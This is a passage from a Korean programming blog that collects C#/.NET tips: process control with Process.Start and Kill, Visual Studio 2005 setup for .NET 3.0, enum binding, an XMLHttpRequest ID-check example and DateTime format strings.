            korNumber += arrayAmt[ num-1 ];
            korNumber += arraypos[ pos-1 ];
            op=1;
        }
        if(pos == 1)
        {
            if( op == 1 ) korNumber += arrayUnit[ unit ];
            unit--; op = 0;
        }
        pos--;
    }
    return korNumber ;
}

Posted by SB패밀리
쌈꼬쪼려 소백촌닭

사용자의 인터넷익스플로러 창 모두 닫기

//네임스페이스 선언
using System.Diagnostics;

//현재 사용자 컴퓨터에 열려 있는 익스플로러의 창을 모두 닫는다.
public static void KillExplorer()
{
   Process[] procs = Process.GetProcessesByName("IEXPLORE");
   for(int i=0; i< procs.Length; i++) procs[i].Kill();
}

현재 실행중인 프로세스를 죽이는 방법으로 iexplore를 종료시킵니다.

Posted by SB패밀리
쌈꼬쪼려 소백촌닭

출처:  http://support.microsoft.com/

파일이름으로 응용 프로그램 시작하기

using System;
using System.Diagnostics;

namespace Namespace1
{
    class Class1
    {
        [STAThread]
        static void Main(string[] args)
        {             

            //Get path of the system folder.
            string sysFolder =   Environment.GetFolderPath(Environment.SpecialFolder.System);

 

            //Create a new ProcessStartInfo structure.
            ProcessStartInfo pInfo = new ProcessStartInfo();

 

            //Set the file name member.
            pInfo.FileName = sysFolder + @"\eula.txt";

 

            //UseShellExecute is true by default. It is set here for illustration.
            pInfo.UseShellExecute = true;

            /*
                UseShellExecute는 실행 파일 이름(.exe) 대신 파일 확장명이나
                파일 형식을 기반으로 시작하는 프로세스를 지정합니다.
                이 속성은 기본적으로 true로 설정됩니다.
            */

 

            Process p  = Process.Start(pInfo);
            // 파일은 일반적으로 Notepad.exe인 .txt 파일 확장명에 연결된 응용 프로그램을

            // 사용하여 열립니다.

 

            /*
                UseShellExecute가 기본적으로 true이기 때문에 프로세스를 시작할 때
                ProcessStartInfo를 사용할 필요가 없습니다..
                아래와 같이 하나의 코드 줄을 사용하여 연결된 응용 프로그램을 시작할 수 있습니다.
                Process p  = Process.Start(@"C:\winnt\system32\eula.txt");

 

                컴퓨터에 연결된 응용 프로그램이 설치되어 있지 않거나
                 레지스트리의 연결이 올바르지 않을 수도 있으므로
                오류가 발생했을 때 사용하는 응용 프로그램에서 경고를 수신할 수 있도록
                이 코드를 try...catch 블록 안에 넣는 것이 좋습니다.

            */
        }
    }
}

Posted by SB패밀리

쌈꼬쪼려 소백촌닭

출처 : http://blog.naver.com/gboarder/90014703081

Visual Studio 2005에 .NET 3.0 환경 추가하기


Written by Youngil Kim, .NET Developer

 

Visual Studio 2005는 기본적으로 .NET Frameowkr 2.0을 기반으로 출시된 개발도구입니다. 그러나 이번에 2007년 1월달에 Windows Vista가 출시되었고 이 운영체제에서는 .NET Fraemwork 3.0이 기본적으로 내장되어 있습니다. 이렇기 때문에 앞으로 개발환경 및 사용자 환경이 .NET Framework 3.0기반으로 이루어질 것은 확실합니다.

그러나, 아직 .NET 3.0기반의 개발도구가 출시되지 않았기 때문에 Visual Studio 2005를 가지고 개발해야 하기에 확장판을 별도로 설치해주어야 합니다.

 

<.NET Framework 3.0 확장 설치 순서>

1. .NET Framework 3.0 설치(한글)

다운로드URL: http://www.microsoft.com/downloads/details.aspx?displaylang=ko&FamilyID=10CC340B-F857-4A14-83F5-25634C3BF043

 

2. Visual Studio 2005 extension for .NET Framework 3.0(WCF&WPF), November 2006 CTP 설치(영문)

다운로드URL: http://www.microsoft.com/downloads/details.aspx?FamilyID=f54f5537-cc86-4bf5-ae44-f5a1e805680d&DisplayLang=en

 

3. Microsoft Windows SDK for Windows Vista and .NET Framework 3.0 Runtime Components 설치(영문)

다운로드URL: http://www.microsoft.com/downloads/details.aspx?FamilyId=C2B1E300-F358-4523-B479-F53D234CDCCF&displaylang=en

 

설치후 샘플예제 위치: \Program Files\Microsoft SDKs\Windows\v6.0\samples

 

4. Microsoft Visual Studio 2005 Extenstions for Windows Workflow Foundation 설치(한글)

다운로드URL: http://www.microsoft.com/downloads/details.aspx?displaylang=ko&FamilyID=5d61409e-1fa3-48cf-8023-e8f38e709ba6

 

이렇게 4가지를 설치해준 후, Visual Studio 2005를 실행한 후, 새 프로젝트를 생성할 때 확인할 수 있습니다.

 

 
 
Visual C#에서 .NET Framework 3.0그룹과 Workflow그룹이 추가되었습니다.
 
.NET Framework 3.0그룹은 Windows Application(WPF), XAML Browser Application(WPF), WCF Service Library, Custom Control Library(WPF)를 생성할 수 있고
 
Workflow그룹은 Sequential Workflow Console Application, Sequential Workflow Library, Workflow Activity Library, State Machine Workflow Console Application, State Machine Workflow Library등이 있습니다.
 
앞으로 이것들을 많이 사용하게 되겠죠? GOM도 직업이 .NET개발자인 관계로 열심히 공부해야할 것같습니다 =_=; 그외 Visual Studio CodeName: Orcas가 개발되고 있기 때문에 조만간 .NET 3.0기반의 개발툴이 나올 것입니다.
Posted by SB패밀리

쌈꼬쪼려 소백촌닭

출처 : http://blog.naver.com/tear230/100020088426

ColorType이라는 열겨형 객체가 아래와 같이 선언되어 있고,

 enum ColorType { Red = 1, Green = 2, Blue = 4, Yellow = 8 };

 DropDownList1이라는 드롭다운리스트 컨트롤이 아래와 같이 선언되어 있다고 할경우

 <asp:DropDownList runat="server" DataTextField="Key" DataValueField="Value"
id="DropDownList1">

 DropDownList1에 ColorType을 아래코드처럼 바인딩 하려고 하면 에러가 발생합니다.

 DropDownList1.DataSource = ColorType;

이럴경우 해쉬테이블로 만들어 반환하는 메서드를 만들어서 사용한다.

public static Hashtable BindToEnum( Type enumType )
{  
    string[] names = Enum.GetNames( enumType );   //열거형의 이름 배열

    Array values = Enum.GetValues( enumType );   // 열거형의 값의 배열  
    Hashtable ht = new Hashtable();
    for (int i = 0; i < names.Length; i++)   

        ht.Add(names[i], (int)values.GetValue(i));
    return ht;
}

바인딩할때는...

//this.DropDownList1.DataValueField = "Value";
//this.DropDownList1.DataTextField = "Key";

this.DropDownList1.DataSource = BindToEnum( typeof( ColorType) );
this.DropDownList1.DataBind();

Posted by SB패밀리


1. Introduction


전에 올린 웹서비스 비해비어 강좌를 올린적이 있었습니다.
웹서비스 비해비어는 클라이언트에서 포스트백없이 스크립트로 웹서비스 요청을 받아오는 강좌였습니다.
이 강좌를 이해하기 위해서는 웹서비스의 기본 내공은 보유하고 있어야 가능하였습니다. 하지만
이번 강좌는 asp.net의 동작만 이해하면 충분히 이해할수있고 활용할 수 있는 강좌입니다.
그리고 웹서비스 비해비어와 같은 목적으로 대체되어 사용될 수 있는 기술입니다.
초보자 분들도 쉽게 접근시키기 위해서 ScriptCallBack이라고 불리는 이 기술 이름을
포스트백없이 서버 요청하기 라고 강좌 이름을 지어 보았습니다.
그럼 이제 이 강좌의 베일을 차근 차근 벗겨보도록 하겠습니다.


2. XMLHttpRequest 객체


이번 강좌의 핵심은 XMLHttpRequest객체 입니다.
XMLHttpRequest객체는 새로운 것은 아니지만 요즘 웹개발에 있어서 비동기
웹개발의 핵심으로 다루어지고 있습니다. 이 객체의 핵심 역활은 스크립트에서
서버의 요청을 하고 직접 처리할 수 있다는 것입니다. 즉 닷넷에서는 포스트백의
역활없이 동적웹페이지를 구현할 수 있다는 것입니다.

그리고 또한 놀라운 기능은 웹페이지를 요청할때의 헤더나 쿠키등을 직접
선언하여 요청할 수 있다는 것입니다. 닷넷 프레임워크에서 지원하는 WebRequest 라는 객체를 다루어
본 분이라면 스크립트의 WebRequest라고 이해 하시면 제대로 보신 것입니다.
이 객체에 대한 자세한 설명은 아래 링크를 확인해 보시기 바랍니다.

XMLHttp참고 : http://www.hoonsbara.com/hoonsboard.aspx?table_name=asptip&board_idx=444421&page=1&keyword=&search=&boardmode=2


역시 예제를 봐야지만 객체에 대한 이해가 바로 와 닿을수 있을것 같습니다.
지금까지 XMLHttpRequest 객체가 이해가 안가신 분들이라고 해서
"이강좌는 나에게 수준이 안맞는 것이가?" 라고 생각 하시기는 이릅니다.
아주 쉬운 예제가 준비되어 있기 때문입니다.

3. PostBack 없이 아이디 중복 확인하기


이제 확인할 예제는 postBack없이 아이디 중복 확인하는 작업입니다.
아이디 중복 확인을 한다는 것은 DB에 연결해서 확인을 했다는 것인데요.
그럼 어떻게 PostBack 없이 확인이 가능하다는 것인지요? 그거 거짓말 아닌가요? 
아닙니다-_-; 아래 실행 화면을 통해서 보도록 합시다. PostBack없이 구현한 화면입니다


<callback.aspx>

이 예제는 화면 한번 깜빡이지 않고 아이디가 존재하는지 확인하였습니다.
정말입니다ㅋ 이 궁금증에 정답은 앞에서 설명한 XMLHttpRequest 객체 입니다.
이 객체는 특정 서버의 파일이나 페이지를 요청할 수 있다고 앞에서 설명했었습니다.
그럼 아이디 요청을 받는 특정 페이지를 구현해야 되지 않나요? 그렇습니다.
ID를 인자로 받아서 그 ID에 대한 여부를 돌려 주는 페이지를 별도로 구현하면 된다는 것입니다.
그럼 이제 어느정도 실마리가 풀린것 같습니다. 아래 그림을 보면서 정리해 보도록 하겟습니다.


①에서는 XMLHttp객체를 이용하여 ID확인을 요청합니다.그리고
②에서는 요청받은 param인자 값을 이용하여 DB에서 값이 존재 하는지 확인하고
③에서 그 결과를 리턴하게 되는 것입니다. 예제는 전혀 어렵지 않습니다.
ASP.NET의 Page.QueryString을 다루어 본 사람이라면 누구나 따라할 수 있는 예제입니다.


4. 주요 코드 #1 (Callback.aspx)

<Callback.aspx>


  ... ...
 
<script>

    function IDConfirm()

    {

        //요청 URL + 입력텍스트 값

        var Url = "IDConfirm.aspx?param=" + document.all["txtId"].value;

        

        //XML Request 객체 선언및 Open

        var xmlRequest = new ActiveXObject("Microsoft.XMLHTTP");

        xmlRequest.open("POST", Url, false);

        

        //헤더값 설정

        xmlRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

        

        //요청

        xmlRequest.send(null);

        

        //요청한값 확인하기

        if (xmlRequest.ResponseText=="true")

        {

            alert("사용할 수 있는 아이디 입니다.");

        }

        else

        {

            alert("이미 존재하는 아이디 입니다.");

        }

    }

</script>
 
  ... ...
 
<input type="button" onclick=IDConfirm() style="COLOR: #ffffff; BACKGROUND-COLOR: #669999" value="중복확인">
 
  ... ...
 


버튼을 클릭했을때 IDConfirm()이라는 스크립트 함수를 호출하게 됩니다.
IDConfirm()이라는 함수는 XMLHttp객체를 생성한 후 IDConfirm.aspx 라는
페이지를 요청하고 그 요청 결과를 ResponseText로 받고 있습니다.
그럼 이제 IDConfirm.aspx페이지를 구현해 보도록 하겠습니다.

5. 주요 코드 #2 (IDConfirm.aspx.cs)

<IDConfirm.aspx.cs>

private void Page_Load(object sender, System.EventArgs e)

{

        //잘못된 접근이라면

        if(Request.QueryString["param"]==null)

               return;

        //실제로는 DBOPEN하여 확인하여 보자

        if(Request.QueryString["param"]=="HOONS")

               Response.Write("false");//HOONS는 사용하고 있는 아이디로 가정한다.

        else

               Response.Write("true");

        //HTML 형식의 페이지의 출력을 모두 지운다.

        Response.Flush();

        Response.End();

}


이 예제에서는 실제로 DB를 연결하지 않았습니다.
만약 HOONS라는 요청이 왔을 경우 이미 사용하고 있는 아이디로 가정하고
false를 페이지에 응답해주고 그렇지 않을경우는 true를 응답해주게 됩니다.
이 소스의 핵심은 Response.End()라는 메서드입니다.
이 메서드로 웹페이지의 출력을 중지시키므로 그위에 응답한 false와 true
문자열만 브라우저에 출력하게 해 주는 것입니다. 한번 IDConfirm 페이지를 띄워서
직접 요청하여 확인해 보겠습니다.
그리고 param인자 값으로 HOONSBARA라는 값을 넘겨 보도록 하겠습니다.



HOONS라는 요청이 아니기 때문에 true라는 값을 응답하였습니다.
그럼 HOONS라는 인자로 페이지를 요청해 보도록 하겠습니다.



예상한대로 값은 false가 나왔습니다.
그럼 이제 페이지에서 소스보기 메뉴를 통해서 출력된 소스를 확인해 보도록 합시다.



HTML의 기본 소스는 출력이 되지 않고 true만 출력이 되었습니다.
이렇게 true값만 출력될수 있는 이유는 Response.End()메서드를 실행하므로서
모든 응답을 끝냈기 때문입니다.


6. 정리

이제 두 페이지의 코드를 모두 작성해 보았습니다. 결과를 확인해 봅시다.
HOONSBARA라는 인자값을 XMLHttp객체를 이용해서 IDConfirm으로 보냈고
그 보낸 결과를 요청 받았기 때문에 아래와 같은 결과가 출력 될 수 있었습니다.



그렇습니다. 서버의 요청은 이루어 집니다. 하지만 다른 페이지에서 요청을 하기
때문에 PostBack은 이루어 지지 않고 스크립트에서 처리하게 된다는 것이죠
페이지를 하나 더 구현해야 된다는 것이 조금 번거로운 일일지
몰라도 동적인 웹페이지는 사용자에게는 상당히 편하고 고품적인 페이지를 제공할 수 있습니다.
또한 사용자에게 친숙하고 편한 환경을 충분히 제공하고 있다면 그 개발자는
자기의 몫을 충분히 해내고 있는 것입니다. 고급기술을 많이 알고 사용하는 개발자 보다는
사용자를 알고 배려 할 수 있는 개발자야 말로 진정한 고급개발자라고 할 수 있을 것입니다.




다른 커뮤니티에서 oyukihana(눈꽃천사)라는 분이 반론한 내용입니다.

혹시 이런 의문점이 생겼던 분이 있을것 같아서 정리해 보았습니다.

 

1. Response.End()가 왜 핵심이라고 했는지 모르겠다. 안써도 받아진다.

당연히 안써도 받아집니다. 하지만 <html><BODY>등등의 모든 태그가 다같이 받아 지기 때문에

운반양이 많아 집니다. 최소의 데이터만 리터하기 위해서 핵심이라고 한것이죠

 

2. 대용량 DB를 운반할 경우 반인딩하면 느려진다.

당연합니다. 하지만 이 강좌를 이해하신 분은 R-R방식으로

대용량 데이터를 운반으로 활용할 강좌는 아니라는 것이라고 알고 있을 것입니다.

 

 

3. 속도가 빨라진다고 했는데 속도는 DB를 열기 때문에 똑같다.

속도가 빨라진다고 한것은 페이지를 로드하는 서버로의 포스트백이 이루어지지 않기 때문에

빠르다는 것입니다. 당연히 db를 열고 데이터를 가져오는 시간은 똑같습니다.

하지만 포스트 백이 한번 이루어질때 뷰스테이트 값을 전송하고 다시 복원 하는등의

여러 작업들을 생략할 수 있기때문에 서버의 입장이 아닌 클라이언트의 입장에서는 빠른 것입니다.


  작성자 : HOONS(박경훈)
  이메일 : tajopkh@hanmail.net
  홈페이지 : http://www.hoonsbara.com 



출처 : http://cafe.naver.com/it2006.cafe?iframe_url=/ArticleRead.nhn%3Fclubid=11832319%26menuid=14%26articleid=231

쌈꼬쪼려 소백촌닭
Posted by SB패밀리

일단, 기초부터 살펴보고 가겠습니다. DateTime 구조체를 사용하여 현재의 시간을 얻어오고 싶다면 어떻게 하면 될까요? 그렇습니다. 아주 간단하게도 다음과 같이 코드를 작성하기만 하면 됩니다.

 

DateTime.Now

 

DateTime 구조체의 Now라는 정적 속성이 현재의 날짜정보를 알려주니까요.  ^^;  현재의 날짜 시간정보를 알아내기 위해서 굳이 DateTiem의 인스턴스를 만들 필요는 없답니다.

 

그렇다면, 특정 날짜와 시간을 지정하여 그 날짜에 해당하는 값을 얻어오고 싶다면 어떻게 해야 할까요? 다음과 같이 그 값을 생성자의 인자로써 지정해 주면 됩니다. 인자는 순서대로 년, 월, 일, 시, 분, 초가 되니까요 ^^

 

DateTime dateTime = new DateTime(1973, 11, 22, 9, 10, 23);

 

위의 코드는 1973-11-22 9:10:23 의 날짜 정보를 갖는 DateTime 구조체를 만든 것이 됩니다. 아주 간단하죠? 코드로써 확인하고 들어가겠습니다

 

여러분의 프로젝트에(ASP.NET 응용 프로그램) 웹 폼 페이지를 하나 새로이 추가하시구요(저는 DateTimeEx01.aspx라는 이름을 지정해 보았습니다). 웹 폼위에 Label 컨트롤을 하나 올려주세요. 그러면, 그 Label 컨트롤의 아이디는 기본적으로 Label1 이라고 지정될 겁니다. 그 기본값 그대로 두시구요..  ^^

 

코드 비하인드 페이지로 이동해서 Page_Load 이벤트 처리기에 다음과 같은 코드를 작성해 보도록 하세요

private void Page_Load(object sender, System.EventArgs e)
{
    DateTime dateTime = new DateTime( 1972,        // Year
                                                               11,        // Month
                                                               18,        // Day
                                                               03,        // Hour
                                                               20,        // Minute
                                                               12);       // Second

    Label1.Text = "<br>현재 날짜정보 : " + DateTime.Now.ToString();
    Label1.Text += "<br>지정 날짜정보 : " + dateTime.ToString();
}

 

그리고, 페이지를 컴파일하고 실행해 보세요. [솔루션 탐색기]에서 현재의 웹 폼 파일을 선택하고, 마우스 우측 클릭!! [빌드 및 찾아보기]를 클릭하시면 됩니다.

 

 

보시다시피, 현재의 날짜와 우리가 조작한 날짜의 정보가 멋지게 출력되는 것을 확인할 수 있습니다.

 

하지만, 제가 하려는 이야기의 본문은 이게 아닙니다. 이야기하려는 부분은 이렇게 구성된 날짜 정보를 우리가 원하는 형태로 어떻게 조합할 수 있느냐는 것입니다.

 

예를 들어, 우리는 가끔 어떤 목적에 의해 현재의 년,월,일,시,분,초 값을 주욱 하나의 문자열로 나열한 값을 얻어내고 싶을 수도 있습니다. 즉, 현재를 2003-02-20 오전 11:19:34 이라고 가정한다면,

20030220111934

와 같은 값을 얻어내고 싶을 수 있다는 것이죠.

 

혹은, 년,월,일,시,분,초 값을 .(쩜)을 구분자으로 하여 나열하는 다음과 같은 값을 얻어오고 싶을 경우도 있습니다.

2003.02.20.11.19.34

 

그렇습니다. 이번 팁은 바로 이러한 문자열을 쉽게 얻어오는 방법에 대한 것입니다. 날짜정보를 이렇게 원하는 포맷으로 얻어오는 방법에는 크게 두 가지 방법이 있습니다

 

하나는 엄청난 코드량의 압박(!)을 느끼면서 무지하게 많은 코드를 작성하는 방법으로 DateTime.Now로부터 각각의 년,월,일,시,분,초 값을 개별적으로 얻어와 문자열 결합을 하는 방법이구요.(개인적으로는 비추천하는 방법입니다)

 

또 다른 하나는 DateTime 구조체의 ToString() 메서드를 아주 효과적으로 사용하는 방법입니다.

그렇다면, 하나씩 알아보도록 하죠. ASP에 익숙하거나 VB를 조금 할 줄 아는 사람들이라면 아마도 가장 먼저 첫번째 방법을 생각해 냈을 것이라 생각합니다. 예를 들면, 코드를 다음과 같이 작성하는 것이죠

 

private void Page_Load(object sender, System.EventArgs e)
{
     // 첫번째 방법 - 엄청난 코드량의 압박이 느껴진다.
     string strYear = DateTime.Now.Year.ToString() ;
     string strMonth = DateTime.Now.Month.ToString() ;
     string strDay = DateTime.Now.Day.ToString() ;
     string strHour = DateTime.Now.Hour.ToString() ;
     string strMinute = DateTime.Now.Minute.ToString() ;
     string strSecond = DateTime.Now.Second.ToString() ;

     if(strMonth.Length == 1 ) strMonth = "0" + strMonth;
     if(strDay.Length == 1 ) strDay = "0" + strDay;
     if(strHour.Length == 1 ) strHour = "0" + strHour;
     if(strMinute.Length == 1 ) strMinute = "0" + strMinute;
     if(strSecond.Length == 1 ) strSecond = "0" + strSecond;

     Label1.Text = strYear + "." + strMonth + "." + strDay + "." +
                          strHour + "." + strMinute + "." + strSecond;
}

 

코드를 작성하셨다면, 컴파일하고 실행하여 결과를 확인해 보도록 하세요. 물론, 결과는 만족스럽게 나오고 있을 겁니다

 

 

하지만, 코드는 그다지 만족스럽지 못합니다. 너무 복잡해 보이기 때문이지요. 코드는 현재 년, 월, 일, 시, 분, 초 값을 각각 별도로 구해서 별도의 string 변수에 그 얻어진 값을 넣고, 만일 그 값이 혹 1~9 까지의 한자리 숫자일 경우는 두자리로 맞춰주기 위해서 "0" 이라는 문자열을 기존의 값 앞에 더하는 로직도 들어 있습니다. 물론, 이 코드가 나쁘다는 것은 아니지만 조잡함과 가독성의 저하가 존재한다는 것을 부정하지는 못할 것입니다.

 

"난 이게 가독성이 더 좋고, 유지 보수하기 더 좋다고 생각해~~!!!" 라고 우기신다면, 어쩌겠습니까? 자신이 좋아하는 코드를 사용해야 하겠죠. 하지만, 프로젝트는 혼자서 진행하는 것이 아니기에, 자기에게 편리한 코드보다는 범용적으로 보편화된 코드를 사용하는 것이 좋을 것입니다.

 

그렇다면, 과연 두번째 방법은 무엇일지 궁금하지 않습니까? 공개합니다. 이것이 바로 심플함의 예술성이 느껴지는 ToString() 메서드의 오버로드 버전을 이용하는 방법입니다

 

private void Page_Load(object sender, System.EventArgs e)
{
     // 두번째 방법 - 심플함의 파워를 느낄 수 있다.
     string strDate = DateTime.Now.ToString("yyyy.MM.dd.HH.mm.ss");
     Label1.Text = strDate;
}

 

DateTime 구조체의 ToString() 메서드는 포맷 문자열을 지정할 수 있는 오버로드된 버전을 제공하기에 이러한 구성이 가능합니다. ToString() 메서드의 첫 번째 인자로 쓰인 문자열이 바로 포맷 문자열인데, 위 코드의 경우는 우리가 그 포맷 문자열을 사용자 정의한 것입니다 문자열에서 yyyy는 4자리의 년도를 의미하고, MM은 두자리의 월을, dd는 두자리의 날짜값을 의미합니다. 또한, HH는 24시간 기준의 현재 시간 값이구요. mm과 ss는 각각 두자리의 현재 분, 초 값을 의미하는 것이 됩니다.(이 각각의 키워드들에 대해서는 곧 알아보게 됩니다)

 

사실, 위에서 이야기한 두가지 방법의 성능적인 차이는 매우 미비한 편입니다. 사실, 의외이기는 했지만 제 노트북에서의 테스트 결과 거의 차이가 없었습니다. 다음은 그 화면을 캡춰한 것인데요

 

 

 

첫번째 스타일인 일명 '코드량 압박 코드'의 처리 시간은 0.000062 , 그리고 두번째 스타일인 '심플 코드'의 경우는 0.000053 임을 볼 수 있습니다. 현재 캡춰한 화면은 이러하지만, 여러번 테스트를 반복해보니 그 시간의 차이는 거의 없는 편이더라구요... -_-+ 제 노트북에서의 테스트 기준으로 평균 차이가 0.00001 내인 편이었거든요...

 

고로, 두 방법의 성능상의 차이는 크게 없다고 생각해도 되겠지만, 여전히 첫번째 방법은 코드의 량도 많고, 유지보수가 힘들고, 가독성이 떨어진다는 단점이 존재합니다. 해서, 저는 여러분에게 두번째 방법을 소개하고 있구요. 그것을 추천하는 것이죠.

 

그렇다면, 그 두 번째 방법, 즉, 출력 포맷을 우리가 지정해서 사용할 수 있는 방법에 대해서 조금 더 알아보도록 해요. 일단, 그 포맷 문자열에 사용할 수 있는 키워드(공식 명칭은 '서식 패턴')에는 어떠한 것들이 있는지 한번 표로써 살펴보시죠~

 

서식 문자 출력 값
d 일(日)자. 숫자 하나인 일자에는 앞에 0이 붙지 않습니다.

예 : 1, 2, 3, 4, 10, 12, 33 (엇? 갑자기 로또가 떠오른다!!)
dd 두개의 문자로 구성되는 일(日)자.

예 : 01, 02, 07, 12, 44, 45
ddd 약식 요일 이름

예(국가/언어 설정이 '영어'인 경우) : "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"
예(국가/언어 설정이 '한국어'인 경우) : "일", "월", "화", "수", "목", "금", "토"
dddd 자세한 요일 이름

예(국가/언어 설정이 '영어'인 경우) :
"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"
예(국가/언어 설정이 '한국어'인 경우) :
"일요일", "월요일", "화요일", "수요일", "목요일", "금요일", "토요일"
M 월(月) 숫자. 숫자 하나인 경우 앞에 0이 붙지 않습니다.

예 : 1, 2, 3, 4, 10, 12
MM 두개의 문자로 구성되는 월(月) 숫자.

예 : 01, 02, 07, 12
MMM 약식 월 이름

예(국가/언어 설정이 '영어'인 경우) :
"Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
예(국가/언어 설정이 '한국어'인 경우) :
"1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12"
MMMM 자세한 월 이름

예(국가/언어 설정이 '영어'인 경우) :
"January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"
예(국가/언어 설정이 '한국어'인 경우) :
"1월", "2월", "3월", "4월", "5월", "6월", "7월", "8월", "9월", "10월", "11월", "12월"
y 세기 표시 제외 연도로 연도의 마지막 한자리 숫자를 의미한다.
세기 부분을 제외한 연도가 10보다 작은 경우 연도 앞에 0이 붙지 않는다.

예 : 1, 2, 5, 9
yy 세기 표시 제외 연도로 연도의 뒤쪽 두자리 숫자를 의미한다
세기 부분을 제외한 연도가 10보다 작은 경우 연도 앞에 0이 붙는다

예 : 01, 02, 05, 09
yyyy 세기를 포함한 네 자리 숫자 연도

예 : 2003
h 12시간제 시간. 숫자 하나인 시간에는 앞에 0이 붙지 않습니다.

예 : 1, 2, 05, 09
hh 12시간제 시간. 숫자 하나인 시간에는 앞에 0이 붙습니다.

예 : 01, 02, 05, 09
H 24시간제 시간. 숫자 하나인 시간에는 앞에 0이 붙지 않습니다.

예 : 1, 2, 16, 23
HH 24시간제 시간. 숫자 하나인 시간에는 앞에 0이 붙습니다.

예 : 01, 02, 16, 23
m 분. 숫자 하나인 분에는 앞에 0이 붙지 않습니다.

예 : 1, 7, 34, 59
mm 분. 숫자 하나인 분에는 앞에 0이 붙습니다.

예 : 01, 07, 34, 59
s 초. 숫자 하나인 초에는 앞에 0이 붙지 않습니다.

예 : 1, 7, 34, 59
ss 초. 숫자 하나인 초에는 앞에 0이 붙습니다.

예 : 01, 07, 34, 59

 

위의 경우는 우리가 출력될 날짜 포맷을 직접 정의해 보았지만, 사실 DateTime 값의 형식은 위와 같은 사용자 지정 패턴 말고도, DateTimeFormatInfo 속성에 저장된 표준을 지정하여 사용할 수도 있습니다. 다시 말해서, 자주 사용되는 서식 패턴이 이미 어느 정도 정의 되어져 있기에, 그 패턴을 사용해도 된다는 이야기이지요. 이미 저장되어져 있는 표준 패턴에는 다음과 같은 것들이 있습니다.여기서는 일부만 보여드립니다.

 

서식 문자 관련 서식 패턴의 예(en-US) 설명
d MM/dd/yyyy  
D dddd, dd MMMM yyyy  
f dddd, dd MMMM yyyy HH:mm 전체 날짜 및 시간
F dddd, dd MMMM yyyy HH:mm:ss 자세한 날짜와 자세한 시간
g MM/dd/yyyy HH:mm 간단한 날짜와 간단한 시간
G MM/dd/yyyy HH:mm:ss 간단한 날짜와 자세한 시간
m, M MMMM dd  
r, R ddd, dd MMM yyyy HH':'mm':'ss 'GMT'  
s yyyy'-'MM'-'dd'T'HH':'mm':'ss  
t HH:mm  
T HH:mm:ss  
u yyyy'-'MM'-'dd HH':'mm':'ss'Z'  
U dddd, dd MMMM yyyy HH:mm:ss  
y, Y yyyy MMMM  

 

이를 사용하기 위해서는 각 표준 패턴에 해당하는 '서식 문자'를 ToString() 메서드의 첫번째 인자로 지정해 주시면 됩니다. 예를 들어, 기존의 코드를 다음과 같이 바꾸면

 

private void Page_Load(object sender, System.EventArgs e)
{
     // 두번째 방법 - 심플함의 파워를 느낄 수 있다.
     string strDate = DateTime.Now.ToString("d");
     Label1.Text = strDate;
}

 

이는 위의 표에서 이야기한대로, MM/dd/yyyy 형태의 날짜 포맷을 나타내게 되는 것입니다. ^^;

해서 결과는 다음과 같아지죠.

 

 

엇? 나의 경우는 위와 같이 나오지 않고, 다음과 같이 나온다??? 이게 어찌된 일이지? 하시는 분들도 있을 겁니다

 

 

차이가 생기는 이유는 간단합니다. 위의 표에서 설명드린 포맷은 여러분의 웹 어플리케이션(ASP.NET 프로그램)이 'en-US' 이라는 '언어-국가/지역 코드'를 가질 경우의 포맷이기 때문이죠. 하지만, 여러분은 대부분 Korean 버전의 .NET Framework를 사용하고 있을 것이기에, 기본적인 '언어-국가/지역 코드'가 ko-KR 로 설정되어 있어서 출력 문자 포맷이 다른 것 뿐입니다.

 

만일, "그렇다면, 나두 '언어-국가/지역 코드'를 'en-US'인 상태로 결과를 확인하고 싶어요~" 라고 한다면... 다음과 같이 현재 웹 어플리케이션의 web.config 파일을 <globalization > 요소 구역을 다음과 같이 편집하시면 됩니다. 즉, '언어-국가/지역'을 설정하는 culture 의 값을 eu-US로 맞추어주기만 하면 되는 것이죠~

 

<globalization
     requestEncoding="utf-8"
     responseEncoding="utf-8"
     culture="en-US" />

 

하지만, 여러분 중에는 "난 en-US 기준의 출력 포맷은 관심없어, ko-KR 기준의 포맷을 알려달라구~" 하시는 분들이 있을 수도 있을 것 같습니다. 사실, 그 부분은 여러분이 직접 각각의 '서식 문자'를 지정해서 출력되는 결과를 확인함으로써 알아보시기를 추천합니다. 그 정도의 성의는 보여주셔야 할 것이라는 생각이거든요.

 

하지만, 또.. 뭐 야박하게 여러분에게만 그것을 떠넘기자는 그것도 좀 그러네요. 어차피 이 결과는 자주 찾아보게 될 것 같다는 생각두 있구요... 해서, 정리해 보았습니다. ^^

 

다음은 ko-kR culture 일 경우의 패턴 문자열이옵니다. ^^;

서식 문자 출력 값
d 2003-02-20
D 2003년 2월 20일 목요일
f 2003년 2월 20일 목요일 오후 1:29
F 2003년 2월 20일 목요일 오후 1:29:24
g 2003-02-20 오후 1:29
G 2003-02-20 오후 1:29:24
m 혹은 M 2월 20일
r 혹은 R Thu, 20 Feb 2003 13:29:24 GMT
s 2003-02-20T13:29:24
t 오후 1:29
T 오후 1:29:24
u 2003-02-20 13:29:24Z
U 2003년 2월 20일 목요일 오전 4:29:24
y 혹은 Y 2003년 2월

 

자료출처 : http://taeyo.pe.kr/

쌈꼬쪼려 소백촌닭

Posted by SB패밀리

외부응용프로그램 실행하기 (Process.Start 메서드)


윈도우를 종료
System.Diagnostics.Process.Start("cmd.exe","ShutDown.exe -s -f -t 00");


윈도우를 재부팅

System.Diagnostics.Process.Start("cmd.exe","ShutDown.exe -r -f -t 00");

 

특정 폴더 열기
System.Diagnostics.Process.Start("explorer.exe", "C:\\Temp");

특정 사이트 열기
System.Diagnostics.Process.Start("explorer.exe", "http://www.naver.com");

 

도스명령어 실행

System.Diagnostics.Process.Start("cmd.exe","/c dir");

// cmd 옵션에 대해 더 알고싶으면.. c:\>help cmd

 

Process.Start 메서드 사용형식
 

using System.Diagnostics;

//System.Diagnostics 네임스페이스는 시스템 프로세스, 이벤트 로그 및 성능 카운터와 상호 작용할 수 있는 클래스를 제공합니다.

 

public bool Start();
//이 Process 구성 요소의 StartInfo 속성으로 지정된 프로세스 리소스를 시작하거나 다시 사용하여 구성 요소에 연결합니다.

 

Process myProcess = new Process();
string myDocumentsPath =   Environment.GetFolderPath(Environment.SpecialFolder.Personal);
